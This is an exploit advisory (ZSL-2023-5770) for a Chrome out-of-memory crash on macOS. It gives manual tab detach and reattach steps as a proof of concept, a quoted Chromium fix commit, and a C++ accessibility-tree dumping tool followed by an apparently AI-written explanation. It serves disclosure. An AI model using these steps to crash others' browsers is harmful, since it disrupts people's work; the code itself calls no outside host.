## Exploit Title: Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS)
## Exploit Author: LiquidWorm

Vendor: Google LLC
Product web page: https://www.google.com
Affected version: 111.0.5563.64 (Official Build) (x86_64)
                  110.0.5481.100 (Official Build) (x86_64)
                  108.0.5359.124 (Official Build) (x86_64)
                  108.0.5359.98 (Official Build) (x86_64)
Fixed version: 112.0.5615.49 (Official Build) (x86_64)

Summary: Google Chrome browser is a free web browser used for
accessing the internet and running web-based applications. The
Google Chrome browser is based on the open source Chromium web
browser project. Google released Chrome in 2008 and issues several
updates a year.

Desc: Fatal OOM/crash of Chrome browser while detaching/attaching
tabs on macOS.

Commit fix:

"The original cl landed many months ago, but
chrome/browser/ui/views/frame/browser_non_client_frame_view_mac.mm
is the only change that didn't revert cleanly."

macOS a11y: Implement accessibilityHitTest for remote app shims (PWAs)

Implements accessibility hit testing for RemoteCocoa so that Hover Text
and VoiceOver mouse mode can read the accessible objects under the
user's pointer. Cross-process plumbing was needed because RemoteCocoa
bridges to native controls in a separate app shim process and must
report accessibility trees from the browser process via the
undocumented NSAccessibilityRemoteUIElement mechanism.

This CL does the following:

1. Unblocks remote accessibilityHitTest by calling setRemoteUIApp:YES
   in the browser process. This enables the browser process to accept
   redirected accessibilityHitTest calls to the object corresponding to
   any NSAccessibilityRemoteUIElement returned by the original
   accessibilityHitTest at the app shim process.

2. (For Browser UI) Overrides NativeWidgetMacNSWindowTitledFrame's
   accessibilityHitTest to have a custom implementation with
   NSAccessibilityRemoteUIElement support so that custom window
   controls can be found. Additionally, adjusts the BrowserView bounds
   so that AXPlatformNodeCocoa's accessibilityHitTest (which doesn't
   support view targeting) can return controls in the web app frame
   toolbar.

3. (For Web Content) Implements RenderWidgetHostViewCocoa's
   accessibilityHitTest for instances in the app shim to return a
   NSAccessibilityRemoteUIElement corresponding to their counterparts
   in the browser process so that web content objects can be found.


Tested on: macOS 12.6.1 (Monterey)
           macOS 13.3.1 (Ventura)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5770
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5770.php


08.12.2022

--


UI PoC:
-------
1. Grab a tab and detach it.
2. Bring back the tab.
3. Do this 2-3 times attaching / re-attaching the tab.
4. Chrome will hang (100% CPU) / Out-of-Memory (OOM) for 7-8 minutes.
5. Process crashes entirely.

Ref: Issue 1400682 (Ticket created: Dec 13, 2022)
Ref: https://bugs.chromium.org/p/chromium/issues/detail?id=1400682
Ref: https://chromium-review.googlesource.com/c/chromium/src/+/3861171
Ref: axtester.mm terminal PoC by [email protected] (https://bugs.chromium.org/u/161486905)

=============
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//

#include <ApplicationServices/ApplicationServices.h>

#include <iostream>
#include <sstream>
#include <vector>

__BEGIN_DECLS
    // NOLINTNEXTLINE
    AXError _AXUIElementGetWindow(AXUIElementRef, CGWindowID *);
    // NOLINTNEXTLINE
    CFTypeID AXTextMarkerGetTypeID();
__END_DECLS

std::ostream& bold_on(std::ostream& os)
{
    if (isatty(STDOUT_FILENO))
    {
        return os << "\e[1m";
    }
    return os;
}

std::ostream& bold_off(std::ostream& os)
{
    if (isatty(STDOUT_FILENO))
    {
        return os << "\e[0m";
    }
    return os;
}

std::string from_cfstr(CFTypeRef cf_ref)
{
    if (cf_ref != nullptr && CFGetTypeID(cf_ref) == CFStringGetTypeID())
    {
        const auto cf_str = static_cast<CFStringRef>(cf_ref);
        const auto max_length = static_cast<size_t>(CFStringGetMaximumSizeForEncoding(
            CFStringGetLength(cf_str), kCFStringEncodingUTF8)) + 1;

        auto result = std::string(max_length, '\0');
        if (CFStringGetCString(cf_str, result.data(), static_cast<CFIndex>(max_length), kCFStringEncodingUTF8))
        {
            if (const auto pos = result.find('\0'); pos != std::string::npos)
            {
                result.resize(pos);
            }
            return result;
        }
    }
    return {};
}

std::string ax_element_id(AXUIElementRef value)
{
    // AX element cache - AX elements are backed by CFData
    // (referring to 'remote' AX objects) and this data is
    // 'stable' across 'volatile' instances of AXUIElement.
    // 'hash and equality' of AX elements are based on this
    // data and therefore, we can use AXUIElement objects as
    // 'keys' in a dictionary with values, identifying these
    // objects (uniquely).
    const static auto ax_elements = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
        &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

    auto ax_id = CFDictionaryGetValue(ax_elements, value);

    if (ax_id == nullptr)
    {
        if (const auto uuid = CFUUIDCreate(kCFAllocatorDefault))
        {
            if (const auto uuid_s = CFUUIDCreateString(kCFAllocatorDefault, uuid))
            {
                CFDictionarySetValue(ax_elements, value, uuid_s);

                CFRelease(uuid_s);
            }
            CFRelease(uuid);
        }

        ax_id = CFDictionaryGetValue(ax_elements, value);
    }

    return from_cfstr(ax_id);
}

template <typename T>
T ax_attribute_value(AXUIElementRef e, CFStringRef name)
{
    if (e != nullptr)
    {
        auto ref = T{};
        if (AXUIElementCopyAttributeValue(e, name, (CFTypeRef *) &ref) == kAXErrorSuccess)
        {
            return ref;
        }
    }
    return nullptr;
}

// NOLINTNEXTLINE
void ax_traverse(AXUIElementRef elem, uint32_t depth)
{
    const auto max_depth = 10;
    if (depth > max_depth)
    {
        return;
    }

    const auto indent = [&]()
    {
        for (auto x = 0; x < depth; x++)
        {
            std::cout << "  ";
        }
    };

    auto wid = CGWindowID{};
    if (_AXUIElementGetWindow(elem, &wid) != kAXErrorSuccess)
    {
        wid = 0;
    }

    indent();
    const auto role = ax_attribute_value<CFTypeRef>(elem, kAXRoleAttribute);

    std::cout << bold_on << "[*** DEPTH: " << depth << ", ROLE: " << from_cfstr(role) <<
        ", ID: " << ax_element_id(elem) << ", WINDOW: " << wid << " ***]" << bold_off <<
        std::endl;

    if (const auto children = ax_attribute_value<CFArrayRef>(elem, kAXChildrenAttribute))
    {
        for (CFIndex idx = 0; idx < CFArrayGetCount(children); idx++)
        {
            const auto element = static_cast<AXUIElementRef>(CFArrayGetValueAtIndex(children, idx));
            ax_traverse(element, depth + 1);
        }
        CFRelease(children);
    }
}

int main(int argc, char* const argv[])
{
    auto pid = 0;

    if (argc > 1)
    {
        if (!AXIsProcessTrusted())
        {
            std::cerr << "Please 'AX approve' Terminal in System Preferences" << std::endl;
            exit(1); // NOLINT
        }
        // NOLINTNEXTLINE
        pid = std::stoi(argv[1]);
    }
    else
    {
        std::cerr << "usage: axtester <pid>" << std::endl;
        exit(1); // NOLINT
    }

    if (const auto app = AXUIElementCreateApplication(pid))
    {
        auto observer = AXObserverRef{};
        auto ret = AXObserverCreate(pid, [](auto /*unused*/, AXUIElementRef /*unused*/, CFStringRef name, auto ctx)
            {
                auto myapp = (__AXUIElement*)(ctx);
                auto hint = CFStringGetCStringPtr(name,kCFStringEncodingUTF8);
                std::cout << "Hint: " << hint << std::endl;
                ax_traverse(myapp, 0);
            }, &observer);

        if (kAXErrorSuccess != ret)
        {
            std::cerr << "Fail to create observer" << std::endl;
            return -1;
        }

        std::cout << "title:" << AXObserverAddNotification(observer, app, kAXTitleChangedNotification, (void*)app) << std::endl;
        std::cout << "focus_window:" << AXObserverAddNotification(observer, app, kAXFocusedWindowChangedNotification, (void*)app) << std::endl;
        std::cout << "focus_element:" << AXObserverAddNotification(observer, app, kAXFocusedUIElementChangedNotification, (void*)app) << std::endl;
        std::cout << "move:" << AXObserverAddNotification(observer, app, kAXWindowMovedNotification, (void*)app) << std::endl;
        std::cout << "resize:" << AXObserverAddNotification(observer, app, kAXWindowResizedNotification, (void*)app) << std::endl;
        std::cout << "deminiaturized:" << AXObserverAddNotification(observer, app, kAXWindowDeminiaturizedNotification, (void*)app) << std::endl;
        std::cout << "miniaturize:" << AXObserverAddNotification(observer, app, kAXWindowMiniaturizedNotification, (void*)app) << std::endl;
        CFRunLoopAddSource(CFRunLoopGetCurrent(), AXObserverGetRunLoopSource(observer), kCFRunLoopDefaultMode);
        CFRunLoopRun();
    }

    return 0;
}

--codeaibot explains--

This is a C++ program that uses the Accessibility API (AX) provided
by macOS to traverse the user interface of a running application and
print out information about the accessibility elements that it finds.

The program takes a single argument, which is the process ID (PID) of
the application to examine. If no argument is provided, the program
displays a usage message and exits.

The main() function first checks if the Terminal app has been granted
accessibility privileges by calling the AXIsProcessTrusted() function.
If it hasn't, the program displays an error message and exits.

If the Terminal app has been granted accessibility privileges, the program
creates an AXUIElementRef object for the application using the AXUIElementCreateApplication()
function, passing in the PID as an argument.

The ax_traverse() function is then called with the root accessibility
element of the application as an argument. This function recursively
traverses the accessibility tree of the application, printing out
information about each element it encounters.

The program also defines several helper functions for working with Core
Foundation types (from_cfstr(), ax_element_id(), and ax_attribute_value()),
as well as some functions for printing formatted output to the console
(bold_on() and bold_off()).

-- / --

As this issue is not a security issue nor results in security consequences,
this report is not eligible for a VRP reward.

++
Thank you Amy!
--